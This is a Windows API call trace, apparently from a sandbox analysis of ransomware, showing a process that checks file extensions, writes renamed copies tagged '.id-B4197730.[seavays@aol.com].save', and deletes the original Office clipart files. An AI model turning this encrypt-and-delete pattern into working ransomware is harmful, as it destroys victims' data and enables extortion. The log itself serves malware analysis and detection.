[0072.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0072.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0072.065] lstrlenW (lpString=".doc") returned 4 [0072.065] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString=".docx") returned 5 [0072.065] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.065] lstrlenW (lpString=".pdf") returned 4 [0072.065] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString=".xls") returned 4 [0072.065] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.065] lstrlenW (lpString=".xlsx") returned 5 [0072.065] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.065] lstrlenW (lpString=".ppt") returned 4 [0072.065] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0072.065] lstrlenW (lpString=".zip") returned 4 [0072.065] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.065] lstrlenW (lpString=".rar") returned 4 [0072.065] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString=".bz2") returned 4 [0072.065] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString=".7z") returned 3 [0072.065] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0072.065] lstrlenW (lpString=".dbf") returned 4 [0072.065] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0072.065] lstrlenW (lpString=".1cd") returned 4 [0072.065] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01168_.WMF") returned 68 [0072.066] lstrlenW (lpString=".jpg") returned 4 [0072.066] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.066] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.066] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.067] GetLastError () returned 0x0 [0072.067] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x7e4, lpOverlapped=0x0) returned 1 [0072.386] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x7f0, lpOverlapped=0x0) returned 1 [0072.388] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.388] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.388] SetEndOfFile (hFile=0x2f8) returned 1 [0072.782] CloseHandle (hObject=0x2f8) returned 1 [0072.782] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.782] SetEndOfFile (hFile=0x2e8) returned 1 [0072.783] CloseHandle (hObject=0x2e8) returned 1 [0072.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01169_.wmf")) returned 1 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0072.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0072.784] lstrlenW (lpString=".doc") returned 4 [0072.784] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.784] lstrlenW (lpString=".docx") returned 5 [0072.784] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.784] lstrlenW (lpString=".pdf") returned 4 [0072.784] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.784] lstrlenW (lpString=".xls") returned 4 [0072.784] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.784] lstrlenW (lpString=".xlsx") returned 5 [0072.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.785] lstrlenW (lpString=".ppt") returned 4 [0072.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0072.785] lstrlenW (lpString=".zip") returned 4 [0072.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.785] lstrlenW (lpString=".rar") returned 4 [0072.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.785] lstrlenW (lpString=".bz2") returned 4 [0072.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.785] lstrlenW (lpString=".7z") returned 3 [0072.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0072.785] lstrlenW (lpString=".dbf") returned 4 [0072.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0072.785] lstrlenW (lpString=".1cd") returned 4 [0072.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01169_.WMF") returned 68 [0072.785] lstrlenW (lpString=".jpg") returned 4 [0072.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.786] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.786] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.786] GetLastError () returned 0x0 [0072.786] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x5a8, lpOverlapped=0x0) returned 1 [0072.788] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x5b0, lpOverlapped=0x0) returned 1 [0072.789] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.789] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.789] SetEndOfFile (hFile=0x2f8) returned 1 [0072.789] CloseHandle (hObject=0x2f8) returned 1 [0072.789] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.789] SetEndOfFile (hFile=0x2e8) returned 1 [0072.790] CloseHandle (hObject=0x2e8) returned 1 [0072.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0072.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0072.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0072.791] lstrlenW (lpString=".doc") returned 4 [0072.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.791] lstrlenW (lpString=".docx") returned 5 [0072.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.791] lstrlenW (lpString=".pdf") returned 4 [0072.791] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.791] lstrlenW (lpString=".xls") returned 4 [0072.791] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.791] lstrlenW (lpString=".xlsx") returned 5 [0072.791] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.791] lstrlenW (lpString=".ppt") returned 4 [0072.791] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0072.791] lstrlenW (lpString=".zip") returned 4 [0072.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.791] lstrlenW (lpString=".rar") returned 4 [0072.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.791] lstrlenW (lpString=".bz2") returned 4 [0072.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.791] lstrlenW (lpString=".7z") returned 3 [0072.792] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0072.792] lstrlenW (lpString=".dbf") returned 4 [0072.792] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0072.792] lstrlenW (lpString=".1cd") returned 4 [0072.792] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.792] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68 [0072.792] lstrlenW (lpString=".jpg") returned 4 [0072.792] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.792] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.792] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.793] GetLastError () returned 0x0 [0072.793] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xbb4, lpOverlapped=0x0) returned 1 [0072.794] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xbc0, lpOverlapped=0x0) returned 1 [0072.795] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.795] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.795] SetEndOfFile (hFile=0x2f8) returned 1 [0072.795] CloseHandle (hObject=0x2f8) returned 1 [0072.796] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.796] SetEndOfFile (hFile=0x2e8) returned 1 [0072.797] CloseHandle (hObject=0x2e8) returned 1 [0072.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 1 [0072.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0072.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0072.798] lstrlenW (lpString=".doc") returned 4 [0072.798] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.798] lstrlenW (lpString=".docx") returned 5 [0072.798] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.798] lstrlenW (lpString=".pdf") returned 4 [0072.798] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.798] lstrlenW (lpString=".xls") returned 4 [0072.798] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.798] lstrlenW (lpString=".xlsx") returned 5 [0072.798] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.798] lstrlenW (lpString=".ppt") returned 4 [0072.798] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0072.798] lstrlenW (lpString=".zip") returned 4 [0072.798] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.798] lstrlenW (lpString=".rar") returned 4 [0072.798] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.798] lstrlenW (lpString=".bz2") returned 4 [0072.798] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.798] lstrlenW (lpString=".7z") returned 3 [0072.798] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0072.798] lstrlenW (lpString=".dbf") returned 4 [0072.798] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0072.798] lstrlenW (lpString=".1cd") returned 4 [0072.799] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF") returned 68 [0072.799] lstrlenW (lpString=".jpg") returned 4 [0072.799] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.799] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.799] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.800] GetLastError () returned 0x0 [0072.800] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x8f8, lpOverlapped=0x0) returned 1 [0072.801] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x900, lpOverlapped=0x0) returned 1 [0072.802] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.802] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.802] SetEndOfFile (hFile=0x2f8) returned 1 [0072.803] CloseHandle (hObject=0x2f8) returned 1 [0072.803] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.803] SetEndOfFile (hFile=0x2e8) returned 1 [0072.803] CloseHandle (hObject=0x2e8) returned 1 [0072.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.804] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0072.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0072.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0072.804] lstrlenW (lpString=".doc") returned 4 [0072.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.804] lstrlenW (lpString=".docx") returned 5 [0072.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.804] lstrlenW (lpString=".pdf") returned 4 [0072.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.804] lstrlenW (lpString=".xls") returned 4 [0072.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.804] lstrlenW (lpString=".xlsx") returned 5 [0072.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.805] lstrlenW (lpString=".ppt") returned 4 [0072.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0072.805] lstrlenW (lpString=".zip") returned 4 [0072.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.805] lstrlenW (lpString=".rar") returned 4 [0072.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.805] lstrlenW (lpString=".bz2") returned 4 [0072.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.805] lstrlenW (lpString=".7z") returned 3 [0072.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0072.805] lstrlenW (lpString=".dbf") returned 4 [0072.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0072.805] lstrlenW (lpString=".1cd") returned 4 [0072.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0072.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 68 [0072.805] lstrlenW (lpString=".jpg") returned 4 [0072.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0072.805] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.806] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0072.806] GetLastError () returned 0x0 [0072.806] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2174, lpOverlapped=0x0) returned 1 [0072.809] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2180, lpOverlapped=0x0) returned 1 [0072.810] ReadFile (in: hFile=0x2e8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.810] WriteFile (in: hFile=0x2f8, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0072.810] SetEndOfFile (hFile=0x2f8) returned 1 [0072.810] CloseHandle (hObject=0x2f8) returned 1 [0072.810] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.810] SetEndOfFile (hFile=0x2e8) returned 1 [0072.811] CloseHandle (hObject=0x2e8) returned 1 [0072.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0072.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0072.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0072.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0072.812] lstrlenW (lpString=".doc") returned 4 [0072.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0072.812] lstrlenW (lpString=".docx") returned 5 [0072.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0072.812] lstrlenW (lpString=".pdf") returned 4 [0072.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0072.812] lstrlenW (lpString=".xls") returned 4 [0072.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0072.812] lstrlenW (lpString=".xlsx") returned 5 [0072.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0072.812] lstrlenW (lpString=".ppt") returned 4 [0072.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0072.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0072.812] lstrlenW (lpString=".zip") returned 4 [0072.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0072.813] lstrlenW (lpString=".rar") returned 4 [0072.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0072.813] lstrlenW (lpString=".bz2") returned 4 [0072.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0072.813] lstrlenW (lpString=".7z") returned 3 [0072.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0072.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0072.813] lstrlenW (lpString=".dbf") returned 4 [0072.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0072.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0072.813] lstrlenW (lpString=".1cd") returned 4 [0072.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") 